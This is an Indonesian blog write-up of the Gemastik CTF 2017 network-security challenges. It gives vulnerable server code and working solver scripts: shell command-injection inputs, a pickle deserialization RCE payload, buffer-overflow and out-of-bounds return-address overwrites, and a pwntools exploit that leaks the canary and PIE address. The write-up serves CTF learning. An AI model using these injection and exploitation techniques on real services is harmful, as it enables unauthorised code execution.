Writeup NetSec Gemastik CTF 2017

Kemarin baru saja diadakan kompetisi ctf gemastik, saya mengerjakan beberapa soal terutama soal dengan kategori NetSec. Ini adalah writeup yang saya buat untuk soal-soal di kategori netsec. Semoga bermanfaat

Python Authentication

Ada 2 buah file client.py dan server.py. Program server.py dijalankan di target.netsec.gemastik.ui.ac.id dengan port 60001. Seperti ini script program server.py

#!/usr/bin/python3

import socketserver
import threading


class incoming(socketserver.BaseRequestHandler):
    def handle(self):
        req = self.request
        recv = req.recv(256)[:-1] 
        cred = recv.split(b':')
        if cred[0] == b"admin" and cred[1] == b"b697fce54b2d5602376b9fd39f387c870c99f2b9355a8b23dfb42426159ddec8":
            flag = open('flag.txt', 'r').read().encode('utf-8')
            req.sendall(b"Authentication Success %s\n" % flag)
        else:
            req.sendall(b"Authentication Failed")

        req.close()


class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass

socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(('0.0.0.0', 60001), incoming)
server.timeout = 60
server.serve_forever()

Untuk mendapatkan flag kita harus mengirimkan string “admin:b697fce54b2d5602376b9fd39f387c870c99f2b9355a8b23dfb42426159ddec8“ ke server. Tapi karakter terakhir pada string yg kita kirimkan akan dihapus, sehingga kita harus menambahkan 1 lagi karakter acak pada akhir string. Jadi data yg kita kirimkan menjadi “admin:b697fce54b2d5602376b9fd39f387c870c99f2b9355a8b23dfb42426159ddec8x“, saya menambahkan ‘x’ di akhri string. Saya menggunakan script ini untuk mensolve ini

#!/usr/bin/python3

import getpass
import hashlib
import socket
import sys


if len(sys.argv) < 3:
    print("Usage: ./%s IP Port" % sys.argv[0])
    exit()

host = sys.argv[1] 
port = int(sys.argv[2])

username = "admin"
password = "b697fce54b2d5602376b9fd39f387c870c99f2b9355a8b23dfb42426159ddec8x"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send((username + ":" + password).encode("utf-8"))
response = s.recv(1024)

print(response.decode('utf-8'))

Jalankan script diatas
pyauth

Random String Generator

Seperti inilah script dari program random-string-generator.py yg berjalan di target.netsec.gemastik.ui.ac.id dengan port 60002 yg bisa kita koneksikan dengan nc

#/usr/bin/env python

"""
  Run on Linux
  socat -d -d -d TCP4-LISTEN:60002,reuseaddr,fork EXEC:"/usr/bin/python random-string-generator.py" > /dev/null 2>&1 &
"""

import subprocess
import sys


print "== Gemastik Random String Generator =="
length = raw_input('Insert Length: ')

if '|' not in length and '&' not in length:
    cmd = "head /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w '%s' | head -n 1" %  length
    ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
    print output

Dengan memasukkan inputan ; cat flag.txt #, maka program akan memberikan perintah “head /dev/urandom | tr -dc ‘a-zA-Z0-9’ | fold -w ‘’; cat flag.txt #’ | head -n 1”, sehingga program membaca file flag.txt dan menampilkan isi dari file tersebut

randstr

Python Authentication 2

Diberikan program server2.py, program tersebut berjalan di target.netsec.gemastik.ui.ac.id di port 60003, seperti ini scriptnya

import base64
import hashlib
import pickle
import socketserver
import threading


class incoming(socketserver.BaseRequestHandler):
    def handle(self):
        req = self.request
        recv = req.recv(2056)[:-1]

        serialized = base64.b64decode(recv)
        cred = pickle.loads(serialized)

        username = cred['username']
        password = hashlib.sha256(cred['password'].encode('utf-8')).hexdigest()

        if username == b"admin" and password == b"26b458222708d1910b79632ff5bc3d231d41fa0bbbcbf95f14d972eb8402dc79":
            flag = open('flag.txt', 'r').read().encode('utf-8')
            req.sendall(b"Authentication Success %s\n" % flag)
        else:
            req.sendall(b"Authentication Failed")

        req.close()


class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass 

socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(('0.0.0.0', 60003), incoming)
server.timeout = 60
server.serve_forever()

Program server.py ini menerima data dalam bentuk pickle yg terserialize dan diencode base64 . Proses deserialization di server tersebut bisa di exploitasi yg mengaikabatkan RCE. Kita membuat sebuah malicious object yg ketika server mendeserialize nya maka otomatis akan membaca file flag.txt, seperti ini script yg saya gunakan untuk mensolvenya

#!/usr/bin/python3

import base64
import getpass
import hashlib
import pickle
import socket
import sys

import subprocess

class Payload(object):
    def __reduce__(self):
        return (subprocess.call, (["cat", "flag.txt"],))

if len(sys.argv) < 3:
    print("Usage: ./%s IP Port" % sys.argv[0])
    exit()

host = sys.argv[1]
port = int(sys.argv[2])

#serialized = base64.b64encode(pickle.dumps(cred))
serialized = base64.b64encode(pickle.dumps(Payload()))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send(serialized + "\n".encode('utf-8'))
response = s.recv(1024)

print(response.decode('utf-8'))

Jalankan script diatas

pyauth2

Random String Generator 2

Sama seperti random string generator sebelumnya, tapi kali ini lebih kuat filternya

#/usr/bin/env python

"""
  Run on Linux
  socat -d -d -d TCP4-LISTEN:60004,reuseaddr,fork EXEC:"/usr/bin/python random-string-generator2.py" > /dev/null 2>&1 &
"""

import subprocess
import sys


print "== Gemastik Random String Generator 2 =="
length = raw_input('Insert Length: ')

print len(length)
if ' ' not in length and '$' not in length and '|' not in length and '&' not in length and len(length) <= 8:
    cmd = "head /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w '%s' | head -n 1" %  length
    ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
    print output

Kita tidak bisa menginputkan spasi, dan panjang input tidak boleh lebih dari 8. Untuk spasi, kita bisa menggantinya dengan tab. Karena panjang input tidak boleh lebih dari 8, saya menemukan cara setelah membaca manual dari command fold (karena di command fold lah, string kita berada untuk proses inject)

fold

Kita bisa memasukkan parameter terakhir sebagai nama file, dengan mengisi parameter file dengan ‘flag.txt’ maka fold akan membaca file flag.txt. Untuk membypassnyaa (karena kita harus memaskukkan flag.txt ke payload kita, sementara panjang input tidak boleh lebih 8) kita bisa menggunakan wildcard ‘t’, dengan ‘t’, maka fold akan membaca semua file dengan akhiran ‘t’ (karena flag.txt diakhiri dengan string ‘t’). seperti ini lah data yg kita inputkan ke server

Inputan : 9’[tab]*t[tab]#

randstr2

Access Control

Kali ini ada binary elf 64bit yg meminta inputan password, binary ini berjalan di target.netsec.gemastik.ac.id di port 60006. Seperti inilah bagian kode yg berfungsi untuk membandingkan inputan kita dengan suatu password yg tidak diketahui.

access control decompiled

Password yg diambil dari file password.txt dan akan disimpan di &ptr, dan dibandingkan dengan inputan kita yg berada di &s1 dengan fungsi strcmp. Inputan diambil dengan fungsi scanf(“%s”, yg vulnerable buffer overflow, sehingga kita bisa mengoverwrite dan mengatur &ptr dengan data yg kita inginkan.

Jarak dari &s1 dengan &ptr adalah 16byte (sp+20h – sp+10h) untuk mengoverwrite &ptr kita menginputkan dulu 16byte data awal diikuti data yg akan diisi di &ptr. Karena ini tujuannya untuk membypass strcmp, maka kita akan membuat isi dari &s1 dan &ptr mempunyai string yg sama.

Seperti inilah data yg saya inputkan ke server

access control

Dengan inputan diatas, maka dipastikan isi dari &s1 dan &ptr sama yakni keduanya berisi string “AAAAAAAAAAAAAAA”

Netcrack

Diberikan sebuah binary elf 32bit, program ini dijalankan di target.netsec.gemastik.ac.id di port 60005. Ketika dijalankan, program tersebut meminta 5 buah angka yg valid menurut program tersebut. Seperti ini lah filter yg ada di program tersebut

__int64 __fastcall check_1(int a1, int a2, int a3)
{
  return a1 > a2 && a1 > a3;
}

__int64 __fastcall check_2(int a1, int a2)
{
  return a1 + 1337 == a2;
}

__int64 __fastcall check_3(int a1, int a2, int a3)
{
  return a1 - a2 == a3;
}

__int64 __fastcall check_4(int a1, int a2, int a3)
{
  return a3 * a1 == a2;
}

__int64 crackme()
{
  int v0; // [sp+4h] [bp-1Ch]@1
  int v1; // [sp+8h] [bp-18h]@1
  int v2; // [sp+Ch] [bp-14h]@1
  int v3; // [sp+10h] [bp-10h]@1
  int v4; // [sp+14h] [bp-Ch]@1
  __int64 v5; // [sp+18h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);
  puts("//////// Number Crack ////////");
  puts("//////////////////////////////");
  putchar(10);
  printf("Insert 5 Numbers: ");
  _isoc99_scanf("%d %d %d %d %d", &v0, &v1, &v2, &v3, &v4);
  if ( (unsigned int)check_1(v0, v2, v4)
    && (unsigned int)check_2(v1, v4)
    && (unsigned int)check_3(v0, v2, v3)
    && (unsigned int)check_4(v2, v3, v4) )
  {
    flag();
  }
  // ..snip..
   return
}

Untuk mendapatkan flag, kita harus lolos pengecekan dari fungsi check_1, check_2, check_3, dan check_4. Dan untuk mendapatkan angka yg cocok, disini saya menggunakan z3 untuk mencari angka-angka tersebut, seperti inilah scriptnya

from z3 import *

v = [BitVec("num{}".format(i), 32) for i in range(5)]
s = Solver()

s.add(And(v[0] > v[2], v[2] > v[4]))
s.add(v[1] + 1337 == v[4])
s.add(v[0] - v[2] == v[3])
s.add(v[4] * v[2] == v[3])

s.check()
m = s.model()

hasil = [str(m[i].as_long()) for i in v]
print " ".join(hasil)

Jalankan script tersebut, nanti ia akan menghasilkan output berupa angka yg akan kita masukkan ke inputan di koneksi nc ke server

netcrack

Lottery Redux

Di berikan sebuah file elf binary, program ini juga jalan di target.netsec.gemastik.ui.ac.id dengan 60007 yg bisa kita akses dengan nc. Di program ini kita disuruh menginputkan 7 angka yang akan kita taruh di slot yg kita inginkan, setelah mengisi semua angka tersebut, setiap angka akan dibandingkan dengan nilai random, jika ada lebih dari 7 angka yg sama, maka program akan menampilkan flag

lottery redux

Seperti ini bagian code untuk menerima inputan dan mengisi slot dengan index dan nilai yg kita tentukan

Hasil Decompile Lottery Redux

Program meminta index_slot dari 1-10, program hanya memfilter bahwa index tidak boleh kurang dari 0, tapi tidak memfilter jika index yg kita inputkan lebih dari 10. artinya kita bisa mengisi index dengan 100 atau 1000 misalnya. Bug ini memungkinkan kita untuk ‘write anywhere’. Kita bisa mengoverwrite apapun yg ada di stack, artinya kita juga bisa mengoverwrite return address yg berada di lokasi rbp+8. Nantinya return address akan kita ganti dengan alamat dari fungsi prize yg berguna untuk menampilkan flag yg kita inginkan

fungsi prize

Dibawah ini adalah contoh jika saya menignputkan 20 untuk index dan saya menginputkan 16 untuk numbernya. Dan juga saya memasang breakpoint ketika angka yg kita inputkan akan di store ke slot

PEDA

Liat diatas, RAX adalah index yg kita inputkan tadi dan sudah dikurangi 1 (tadi saya menginputkan 20), dan RDX adalah angka yg kita inputkan tadi (16). Untuk mencari nilai index agar bisa mengarah ke return address, kita harus mencari nilai rax, dengan syarat

  • RBP+RAX*4-0x80 = RBP+8.
  • RAX*4-0x80 = 8 // rbp sudah di coret
  • RAX = (8 + 0x80) / 4
  • RAX = 34

nilai RAX harus bernilai 34 agar mengarah return address, karena nilai index dikurang 1 setelah kita menginputkan, jadi angka 35 lah yg akan kita inputkan sebagai index.
Dibawah ini adalah efek setelah saya menginputkan angka 35 sebagai index dan 100 sebagai number. Return address telah teroverwrite

return address

Karena ini hanya mengoverwrite integer, maka bilangan dword selanjutnya (0x7fff) belum teroverwrite. Caranya kita cukup memasukkan index dengan angka 36 dan number dengan nilai 0 (untuk men-nolkan word tersebut).

Nantinya kita akan mengisi index 35 dengan alamat dari fungsi prize, dan tidak lupa mengisi index 36 dengan 0, dan dilanjutkan dengan menginput angka apapun agar program return dan langsung loncat ke fungsi prize

$ nc target.netsec.gemastik.ui.ac.id 60007

Lottery Machine v2.0                          

Guess 7 slot out of 10                        

  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?                
  -  -  -  -  -  -  -  -  -  -                
  1  2  3  4  5  6  7  8  9  10               

Choose slot index (1-10) : 35                 
Guess the number (0-9) : 4196614              

  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?                
  -  -  -  -  -  -  -  -  -  -                
  1  2  3  4  5  6  7  8  9  10               

Choose slot index (1-10) : 36                 
Guess the number (0-9) : 0                    

  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?                
  -  -  -  -  -  -  -  -  -  -                
  1  2  3  4  5  6  7  8  9  10               

Choose slot index (1-10) : 1                  
Guess the number (0-9) : 0                    

  0  ?  ?  ?  ?  ?  ?  ?  ?  ?                
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Choose slot index (1-10) : 1
Guess the number (0-9) : 0

  0  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10


Choose slot index (1-10) : 1
Guess the number (0-9) : 0

  0  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Choose slot index (1-10) : 1
Guess the number (0-9) : 0

  0  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Choose slot index (1-10) : 1
Guess the number (0-9) : 0

  0  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Better Luck Next Time
YOU WON!!!
Here is your prize :
GEMASTIK{array_out_of_bound_is_still_popular_vuln_everywh3r3__}

Maze

Diberikan sebuah file ELF, dan juga dijalankan di target.netsec.gemastik.ui.ac.id:60008.

maze

Untuk memenangkan game ini kita harus keluar ke pintu EXIT (baris 1, kolom 5), tapi kita tidak bisa mengarahkannya kesana karena ada tembok yg menghalangi. Di baris paling bawah, kolom 2, disana tidak terdapat tembok. Ternyata kita bisa keluar dari sana, tapi itu bukan tempat exit yg sebenarnya

maze

maze3

Setelah mencoba coba, Saya menemukan bug buffer overflow ketika kita memilih ‘g’, setelah itu program meminta input kembali dengan fungsi gets.

      if ( choice != 'g' )
        break;
      printf("Are you sure to give up? (yes/no) ");
      gets(&s1);
      if ( !strcmp(&s1, "yes") )
        return *MK_FP(__FS__, 40LL) ^ v7;
      if ( strcmp(&s1, "no") )
      {
        puts("Invalid Choice");

Ternyata ada kemungkinan juga kita bisa meleak address seperti canaries dan return addressnya. Karena ini binary dengan canary dan pie enabled jadi kita harus meleak canary dan return address yg setelah itu kita hitung agar mendapatkan fungsi exit_point (untuk mendapatkan flag). Saya memanfaatkan ini untuk meleak return address maupun canary

      case 'l':
        printf("Location = row %d col %d (%c)\n", row, col, *(&savedregs + 25 * row + col - 400));
        break;
    }

Bagian kode ini digunakan untuk menampilak row dan col saat ini, dan menampilkan juga karakter di alamat *(&savedregs + 25 * row + col – 400), savedregs berlokasi di rbp+0, jadi anggap saja savedregs itu adalah rbp. Jadi seperti ini *(rbp + 25 * row + col – 400)

Untuk meleak canary misalnya, kita harus pergi ke baris 15, kolom 17. Karena jika kita hitung :
– rbp + 25 * row + col – 400
– rbp + 25 * 15 + 17 – 400
– rbp + 392 – 400
– rbp – 8

Dan ketika kita memilih ‘l’ di menu, dia akan menampilkan byte pertama pada canaries. Dengan mengeser posisi kekanan maka dia akan menampilkan byte kedua pada canary, dan terus seperti itu, sehingga kita bisa meleak canary byte per byte.

Setelah meleak canary, selanjutnya kita meleak return address, return address berisi alamat main+24 setelah didapat alamat tersebut selanjutnya kita kalkulasikan untuk mendapatkan alamat fungsi exit_point

Untuk meleak return address, kita pergi ke baris 15, kolom 33. Dan leak byte per byte seperti cara kita meleak canary sebelumnya

Setelah mendapatkan return address, kita kalkulasikan untuk mendapatkan alamat fungsi exit_point dengan cara mengurangi return address dengan 903 (903 didapat dari jarak antara main+24 dikurangi dengan alamat exit_point)

Terakhir, kita trigger buffer overflow.

Seperti inilah exploit yg saya buat

from pwn import *

#maze = process("./maze")
maze = remote("target.netsec.gemastik.ui.ac.id", 60008)
def send_input(s, r=""):
    maze.recvuntil("Choice: ")
    maze.sendline(s)
    if r != "":
        return maze.recvuntil(r)

def up(n=1):
    [send_input("w") for x in range(n)]

def right(n=1):
    [send_input("d") for x in range(n)]

def left(n=1):
    [send_input("a") for x in range(n)]

def down(n=1):
    [send_input("s") for x in range(n)]

def interactive():
    maze.interactive()

ca = ""  # Canary
ra = ""  # Return Address
left()
down()
left(4)
up()
left(3)
down()
left()
down(8)
right(15)

""" Leak canary byte per byte"""
for i in range(8):
    send_input("l")
    maze.recvuntil(" (")
    cn += maze.recvuntil(")", drop=True)
    right()
print "Canaries : {0}".format(hex(u64(cn)))

right(8)
""" Leak Return address """
for i in range(8):
    send_input("l")
    maze.recvuntil(" (")
    ra += maze.recv(1)
    right()

print hex(u64(ra))
""" 
Kalkulasikan return address untuk 
mendapatkan alamat exit_point
"""
exit_point = p64(u64(ra) - 903)
#pause()
""" Trigger Buffer Overflow """
send_input("g")
maze.sendline("yes\x00\x00"+cn+"A"*8+exit_point)
interactive()

Jalankan script diatas

maze

2 thoughts on “Writeup NetSec Gemastik CTF 2017

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s